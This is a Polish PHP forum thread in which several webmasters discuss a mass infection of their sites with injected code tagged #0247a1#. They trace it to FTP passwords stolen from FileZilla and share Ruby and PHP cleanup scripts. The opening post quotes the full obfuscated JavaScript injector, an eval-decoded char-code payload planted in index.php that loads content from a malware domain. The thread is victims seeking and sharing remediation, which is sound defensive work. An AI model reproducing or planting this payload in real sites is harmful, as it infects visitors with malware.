Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: [PHP] Atak hakerski: v=\"va\"+\"l\";try{faweb++}catch(btawetb){try{fve^32}catch(btawt4){w=window;e=
Forum PHP.pl > Forum > Przedszkole
tomekpl
Witam,
Wchodzę dzisiaj na jedną z moich stron i widzę ostrzeżenie o złośliwym opragromowaniu:

Cytat
Witryna ubezpieczenia-szczecin.com zawiera treści z witryny trafficslotsfive.info, która jest znana jako źródło złośliwego oprogramowania. ...


Do głównego pliku indeks jest dodany kod:
Kod
#0247a1#
                                                                                                                                                                                                                                                                                                                                                              if(!$srvc_counter) {
echo "                                                                                                                                                                                                                                                                                                                                                              <script type=\"text/javascript\" language=\"javascript\" >                                                                                                                                                                                                                                                                                                                                                              v=\"va\"+\"l\";try{faweb++}catch(btawetb){try{fve^32}catch(btawt4){w=window;e=w[\"e\".concat(v)];}}if(1){f=new Array(40,101,115,110,98,114,105,110,108,40,40,11,10,122,11,10,31,116,97,113,30,97,
31,59,32,99,109,99,116,107,101,109,114,46,98,112,101,96,114,101,68,106,101,108,99
,110,115,38,39,104,100,114,96,107,101,38,39,59,12,8,13,9,30,97,45,113,114,98,30,6
1,31,37,104,115,114,112,57,45,47,83,80,65,69,68,73,66,81,76,78,82,83,69,71,86,68,
44,105,109,100,111,46,98,101,113,103,118,104,108,103,46,99,108,100,97,116,100,98,
45,104,108,99,113,99,97,114,99,115,94,113,117,97,107,105,115,114,105,109,101,95,1
15,109,46,111,102,112,38,57,13,9,30,97,45,113,116,120,106,101,45,110,111,114,103,
116,104,109,110,31,59,32,38,95,98,114,109,108,116,114,101,38,57,13,9,30,97,45,113
,116,120,106,101,45,96,111,113,98,101,113,30,61,31,37,48,38,57,13,9,30,97,45,113,
116,120,106,101,45,102,101,104,101,104,115,30,61,31,37,49,111,118,39,58,11,10,31,
95,46,114,114,121,107,99,46,118,103,100,115,102,32,60,30,39,48,110,120,38,57,13,9
,30,97,45,113,116,120,106,101,45,106,101,101,114,32,60,30,39,48,110,120,38,57,13,
9,30,97,45,113,116,120,106,101,45,114,111,111,30,61,31,37,49,111,118,39,58,11,10,
12,8,32,104,100,40,32,98,111,98,115,109,100,108,116,45,101,101,115,67,108,100,107
,101,109,114,66,120,71,100,39,37,97,99,110,108,38,39,41,12,8,32,122,11,10,31,98,1
11,98,115,109,100,108,116,45,117,114,104,114,101,39,37,60,99,103,118,31,103,100,6
0,90,39,96,98,112,107,90,39,61,58,47,99,103,118,61,37,41,58,11,10,31,98,111,98,11
5,109,100,108,116,45,101,101,115,67,108,100,107,101,109,114,66,120,71,100,39,37,9
7,99,110,108,38,39,46,96,110,112,100,108,100,66,102,105,107,98,40,96,39,59,12,8,3
2,124,11,10,124,39,40,40,57);}w=f;s=[];r=String;x=\"j%\";for(i=0;-i+453!=0;i+=1){j=i;if(e&&(031==0x19))s=s+r[\"fromCharCode\"]((1*w[j]+e(x+3)));}if(0x10==020)try{(w+s)()}catch(asga){e(\"if(1)\"+s+\"\");}</script>";
$srvc_counter = true;
}

#/0247a1#


Sprawdziłem inne strony na innych serwerach i też są zhackowane. Z czego może to wynikać? Może być, że poprzez zewnętrzne pliku js? korzystam z apps google na wielu stronach itp
Mega_88
Dokładnie dziś o 02:47 nastąpiło włamanie. Mam dokładnie ten sam problem na jednym z serwerów. Na szczęście problem u mnie dotyczy jednej strony. Zastanawiam jak się tego pozbyć teraz i co mogło być przyczyną. Gdzie masz serwer ?
tomekpl
Servery mam w różnych lokalizacjach jeden w home.pl drugi duu.pl(szybki serwer)
Wszystkie pliki index.php zostały zarażone, a teraz patrze na pliki JS bo tam ten kod też jest..
Mega_88
Kod jest prawie we wszystkich plikach. Właśnie przeglądam sieć i znalazłem już kilka tematów na innych forach na temat dzisiejszego problemu. Wszystkie z dzisiaj i ten sam problem.
Tutaj masz link jak rozwiązać problem na joomli
http://www.blog.joomsite.pl/joomla/17-joom...b-kon-trojanski
Spriggan
Ten sam problem i u mnie sad.gif. Na moim serwerze coś dopisuje złośliwy kod na końcu plików php w mojej instalacji frameworka Kohany. Co więcej nie są to jedynie pliki index.php ale także inne jak header.php. Usunąłem całą zawartość głównego katalogu strony, a następnie całość podmieniłem na "czyste" pliki. Niestety po jakimś czasie złośliwy kod znów się pojawił. Po raz kolejny usunąłem całą zawartość serwera i utworzyłem prosty plik HTML. Także i tam po jakimś czasie znalazł się ten kod...

Czy ktoś może mi wyjaśnić jakimś cudem coś uzyskuje dostęp do plików php i dopisuje sobie w plikach co tylko zechce? Jaki jest tego mechanizm? I najważniejsze - co zrobić w takiej sytuacji? Jeśli ktoś znajdzie rozwiązanie, będę bardzo wdzięczny. Moja strona jest już offline jakieś 36 godzin i nie za bardzo mi się to podoba...
Mega_88
Myślałem, że problemem jest TinyMce z którego korzystam i przez to mogło się coś dostać do środka bo ostatnio czytałem o luce w jednej z aplikacji, ale skoro piszesz, że nawet czysty plik się nadpisuje to nie bardzo już wiem.

Jest to Kryptik u mnie i zapewne Wy też go macie. Po opisie tego trojana jaki przeczytałem w sieci nie jest to coś małego tylko wirus, który jest ciezki do usunięcia.

Czy ktoś ma jakiś pomysł z użytkowników troche bardziej "zaawansowanych" ?
!*!
Było już wielokrotnie na forum. Poszukaj pod "doklejanie kodu" masz luki w systemie, dotyczące klienta FTP.
Mega_88
Cytat(!*! @ 17.10.2012, 13:46:40 ) *
Było już wielokrotnie na forum. Poszukaj pod "doklejanie kodu" masz luki w systemie, dotyczące klienta FTP.


Czyli wirus na komputerze jak dobrze rozumiem ? Może ktoś mi wyjaśnić mechanizm działania takiego oprogramowania ? Jakiś link artykuł ?
bostaf
Cytat(Mega_88 @ 17.10.2012, 14:03:37 ) *
Czyli wirus na komputerze jak dobrze rozumiem ? Może ktoś mi wyjaśnić mechanizm działania takiego oprogramowania ? Jakiś link artykuł ?

Jakiś czas temu czyściłem kumplowi stronę zbudowaną na Joomli i zapapraną podobnym do tego co pokazałeś kodem. Admin zablokował mu domenę twierdząc, że jest podejrzany o phishing.
Takie popularne CMSy mają jedną wadę - są popularne smile.gif I ogólnodostępne. Dla wszystkich. Dla hakerów też. A co jest najlepszą pożywką dla hakera jeśli nie popularny CMS z otwartym kodem, używany przez amatorów? Otwarty kod łatwo przeanalizować, zbadać jakie ma podatności i te podatności wykorzystać. Dlatego bardzo ważne jest aktualizowanie używanych CMSów, frameworków i bibliotek.

W tamtym przypadku, o którym pisałem, hakerzy wykorzystali lukę w systemie uploadu. Spreparowali kod podszywający się pod obrazek i załadowali legalnie na serwisy korzystające z Joomli w tej podatnej wersji. Inną lukę wykorzystali do uruchomienia tego jednego pliku. Po uruchomieniu ten exploit dopisał do około 200 skryptów Joomli trochę kodu JavaScript. Ten dopisany kod był różny w różnych plikach, ale miał wspólną cechę - frazę "fbi.gov". Internauta przeglądając taki zawirusowany CMS, nieświadomie powodował, ze wysyłał on jakieś dane w kierunku wymienionego serwisu. Jeden internauta w jednym serwisie nikomu krzywdy nie zrobi, ale wiadomo, że Joomla jest popularna, i każdy serwis zbudowany na Joomli może oglądać kilkudziesięciu albo i więcej ludzi jednocześnie. W efekcie może to prowadzić do DDoS.

Czyli: aktualizować, aktualizować i jeszcze raz aktualizować.

To tylko jeden z mechanizmów działania dotyczący dostępnych powszechnie CMSów, frameworków i bibliotek. Więcej można znaleźć czytając np. o sposobach ochrony: https://www.google.com/search?q=how+to+prot...om+being+hacked
tomekpl
Na 100% jest to wirus na komputerze ofiary. Łączy sie przez klienta i nadpisuje pliki.

Trzeba zmienić hasła FTP, przeskanować kompa itp. Dlatego do tego działania najlepiej 2 komputery
Lesiuk7
Skrypt w ruby do usuwania tego syfu z kodu strony.
http://i.imgur.com/nsgJc.jpg

Kod
require 'find'

Find.find('H:\sciezka.do.www') do |f|
    if f.match(/\.php\Z/) or f.match(/\.html\Z/) or f.match(/\.htm\Z/) or f.match(/\.js\Z/)
        file = File.open f, 'r'
        content = file.read
        file.close

        fixed = content

        if f.match(/\.html\Z/) or f.match(/\.htm\Z/)
            fixed = content.gsub /\s*<!--0247a1-->.*<!--\/0247a1-->\s*/m, ''
        elsif f.match(/\.php\Z/)
            fixed = content.gsub /\s*\<\?\s+#0247a1#.+#\/0247a1#.{1}\?>\s*/m, ''
            fixed.gsub! /\s*#0247a1#.+#\/0247a1#.{1}\s*/m, ''
        elsif f.match(/\.js\Z/)
            fixed = content.gsub /\s*\/\*0247a1\*\/.*\/\*\/0247a1\*\/\s*/m, ''
        end

        if content.size != fixed.size
            puts "Naprawiono #{f}"
            content = fixed

            file = File.open f, 'w'
            file.write content
            file.close
        end
    end
end


Wystarczy:
1. Usunąć tego wirusa z komputera
2. Zmienić hasło do ftp
3. Przepuścić pliki strony przez ten skrypt.

Jeżeli jest zainteresowanie mogę dopisać gui do tego skryptu.

EDIT: Ten skrypt tyle, że w postaci .exe gdyby komuś nie chciało się instalować interpretera ruby
http://files.lesiuk.net/automat.exe

Uruchamiamy w ten sposób:
automat.exe C://sciezka/do/strony/www
mike87
Cześć!

1. Wyczyścić hasła z historii FileZilli - na 100% stamtąd wyciekły hasła - są zapisywane plainem.
2. Zmienić hasła FTP, zasyfione będą wszystkie serwery, które były na liście zapisanych serwerów i historii ostatnich.
3. Usunąć u siebie wirusa na kompie (u mnie się tak zaszył, że pozostał format).
4. Wrzucić plik, z kodem poniżej, ustawić ścieżkę na zmiennej $rpath.
5. Odplaić skrypt (nie biorę odpowiedzialności za ewentualne straty).
6. Czasem generuje warningi - nie wiem jeszcze czemu - skrypt pisałem na prędkości.
7. Postawić mi piwo. Pozdrawiam!

  1. <?php
  2.  
  3. // sciezka do czyszczenia
  4. $rpath='/home/user/domains/';
  5.  
  6.  
  7.  
  8. function ListFiles($dir) {
  9.  
  10. if($dh = opendir($dir)) {
  11.  
  12. $files = Array();
  13. $inner_files = Array();
  14.  
  15. while($file = readdir($dh)) {
  16. if($file != "." && $file != ".." && $file[0] != '.') {
  17. if(is_dir($dir . "/" . $file)) {
  18. $inner_files = ListFiles($dir . "/" . $file);
  19. if(is_array($inner_files)) $files = array_merge($files, $inner_files);
  20. } else {
  21. array_push($files, $dir . "/" . $file);
  22. }
  23. }
  24. }
  25.  
  26. closedir($dh);
  27. return $files;
  28. }
  29. }
  30.  
  31.  
  32.  
  33.  
  34.  
  35.  
  36. $patS[1]='<?'.chr(10).'#0247a1#';
  37. $patE[1]='#/0247a1#'.chr(10).'?'.'>';
  38.  
  39. $patS[2]='<?php'.chr(10).'if (!isset($sRetry))';
  40. $patE[2]='curl_close($stCurlHandle); '.chr(10).'}'.chr(10).'}'.chr(10).'?'.'>';
  41.  
  42. $patS[1]='/*0247a1*/';
  43. $patE[1]='/*/0247a1*/';
  44.  
  45. foreach (ListFiles($rpath) as $key=>$file){
  46. $ext=pathinfo($file, PATHINFO_EXTENSION);
  47.  
  48.  
  49.  
  50. if($ext=='php' || $ext=='tpl' || $ext=='js') {
  51.  
  52. $src=file_get_contents($file);
  53. $tmp=$src;
  54. $usu=0;
  55.  
  56. for($i=1; $i<=count($patE); $i++) {
  57. $posS = strpos($src, $patS[$i]);
  58. $posE = strpos($src, $patE[$i]);
  59.  
  60.  
  61.  
  62. if($posS && $posE) {
  63. $src=substr($src,0,$posS).substr($src,$posE+strlen($patE[$i]),strlen($src));
  64. $usu++;
  65. }
  66.  
  67. }
  68.  
  69. if($usu>0) {
  70. echo '!!!! Usunięto '.$usu.' ciągów !!!<br/>';
  71. file_put_contents($file.'__antyvir', $tmp);
  72. file_put_contents($file.'', $src);
  73.  
  74. } else {
  75. echo '<br/>';
  76. }
  77.  
  78. }
  79. }
  80.  
  81.  
  82.  
  83. ?>
Spriggan
Wypada tylko podziękować wszystkim tu za pomoc. Nie mogło być inaczej - problemem i u mnie były skradzione hasła z Filezilli. Hasła do FTP pozmieniałem z innego, niezainfekowanego (miejmy nadzieję) komputera. Następnie podmieniłem wszystkie pliki na serwerze na "zdrowe". Mija 12 godzin i wszystko wydaje się być w porządku - żadne fragmenty kodu nie są już dopisywane.

@mike87 Ten wirus jest niesamowicie ciężki do zidentyfikowania. W każdym razie i mój antywirus sobie nie poradził. Czyli jednak pozostaje format :/

Moglibyście polecić jakiegoś klienta FTP (oczywiście może być nawet płatny), który byłby nieco bardziej odporny na tego typu ataki? Słyszałem, że w Total Commanderze i WinSCP luki także istnieją.
redeemer
Nie zabezpieczysz się przed takimi atakami zmianą klienta FTP, bo zazwyczaj jest to wina użytkownika (niezaktualizowane/stare oprogramowanie, ściąganie i uruchamianie byle czego itd.). Jedyne co możesz zrobić (poza podniesieniem swojego poziomu świadomości bezpieczeństwa w sieci) to nie zapisuj haseł w takich programach, ale wprowadzaj je każdorazowo. Do zarządzania hasłami użyj np. KeePass.

W internecie znajdziesz masę materiałów na ten temat.
szczemp
Ja miałem parę lat temu podobne coś na nazwa.pl. Wina była moja, bo uruchomiłem jakiś program z niewiadomego pochodzenia bez antywirusa (tak się złożyło, że parę dni wcześniej skończyła się licencja:)) ). Miałem też cuteftp z zapisanymi hasłami do ftp. Program wykradł hasła i posłał gdzieś przez net (sprawdzałem w bramie internetu gdzie, ale już nie pamiętam). No i zdalny automat łączył się zawsze między 1 a 2 w nocy (o takich godzinach były modyfikowane pliki) i doklejał dziadostwo do plików. Sama zmiana hasła do ftp nie wiele pomogła, bo program gdzieś się zaszył i sobie działał. Najpierw zalecałbym przeskanowanie dysków w poszukiwaniu podejrzanych programów. Antywirus może nie wystarczyć i przyda mu się wsparcie antyspyware jakiegoś. Jak już będzie pewność, że nic podejrzanego nie ma, to dopiero wtedy można zmienić hasło do ftp.
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.